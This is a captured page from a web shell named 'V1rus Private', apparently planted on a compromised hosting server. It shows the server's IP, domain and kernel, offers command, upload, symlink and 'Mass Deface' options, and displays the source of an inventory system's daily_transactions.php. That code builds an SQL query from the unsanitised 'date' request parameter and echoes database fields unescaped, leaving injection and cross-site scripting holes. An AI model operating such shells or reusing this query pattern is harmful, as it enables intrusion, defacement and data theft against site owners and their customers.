V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
public_html
/
InventorySystem
/
Viewing: daily_transactions.php
<?php $page_title = 'Daily Transactions'; require_once('includes/load.php'); page_require_level(3); $date = isset($_GET['date']) ? $_GET['date'] : date('Y-m-d'); $store_id = isset($_GET['store_id']) ? (int)$_GET['store_id'] : get_current_store_id(); // Get sales for the day $sales_sql = "SELECT s.*, p.name as product_name FROM sales s LEFT JOIN products p ON s.product_id = p.id WHERE DATE(s.date) = '{$date}' AND s.store_id = '{$store_id}' ORDER BY s.date DESC"; $daily_sales = find_by_sql($sales_sql); // Get ledger entries for the day $ledger_entries = get_ledger_entries($date, $store_id); $store = find_by_id('stores', $store_id); ?> <?php include_once('layouts/header.php'); ?> <div class="row"> <div class="col-md-12"> <?php echo display_msg($msg); ?> </div> </div> <div class="row"> <div class="col-md-12"> <div class="panel panel-default"> <div class="panel-heading clearfix"> <strong> <span class="glyphicon glyphicon-list-alt"></span> <span>Daily Transactions - <?php echo $store ? $store['store_name'] : 'Unknown Store'; ?> - <?php echo date('F j, Y', strtotime($date)); ?></span> </strong> <div class="pull-right"> <a href="ledger.php" class="btn btn-default">Back to Ledger</a> </div> </div> <div class="panel-body"> <!-- Sales Section --> <h4>Sales</h4> <div class="table-responsive"> <table class="table table-bordered table-striped"> <thead> <tr> <th>Product</th> <th class="text-center">Qty</th> <th class="text-center">Price</th> <th class="text-center">Total</th> <th class="text-center">Payment</th> <th class="text-center">Time</th> </tr> </thead> <tbody> <?php if(!empty($daily_sales)): ?> <?php foreach($daily_sales as $sale): ?> <tr> <td><?php echo $sale['product_name']; ?></td> <td class="text-center"><?php echo $sale['qty']; ?></td> <td class="text-center">₹<?php echo number_format($sale['price'], 2); ?></td> <td class="text-center">₹<?php echo number_format($sale['total'], 2); ?></td> <td class="text-center"> <span class="label label-<?php echo ($sale['payment_type'] == 'cash') ? 'success' : 'info'; ?>"> <?php echo strtoupper($sale['payment_type']); ?> </span> </td> <td class="text-center"><?php echo date('g:i A', strtotime($sale['date'])); ?></td> </tr> <?php endforeach; ?> <?php else: ?> <tr> <td colspan="6" class="text-center">No sales recorded for this day.</td> </tr> <?php endif; ?> </tbody> </table> </div> <!-- Ledger Entries Section --> <h4>Ledger Entries</h4> <div class="table-responsive"> <table class="table table-bordered table-striped"> <thead> <tr> <th>Type</th> <th>Description</th> <th class="text-center">Amount</th> <th class="text-center">Time</th> </tr> </thead> <tbody> <?php if(!empty($ledger_entries)): ?> <?php foreach($ledger_entries as $entry): ?> <tr> <td> <span class="label label-<?php echo ($entry['entry_type'] == 'income') ? 'success' : 'danger'; ?>"> <?php echo strtoupper($entry['entry_type']); ?> </span> </td> <td><?php echo $entry['description']; ?></td> <td class="text-center">₹<?php echo number_format($entry['amount'], 2); ?></td> <td class="text-center"><?php echo date('g:i A', strtotime($entry['entry_date'])); ?></td> </tr> <?php endforeach; ?> <?php else: ?> <tr> <td colspan="4" class="text-center">No ledger entries for this day.</td> </tr> <?php endif; ?> </tbody> </table> </div> </div> </div> </div> </div> <?php include_once('layouts/footer.php'); ?>
Coded With 💗 by
HanzOFC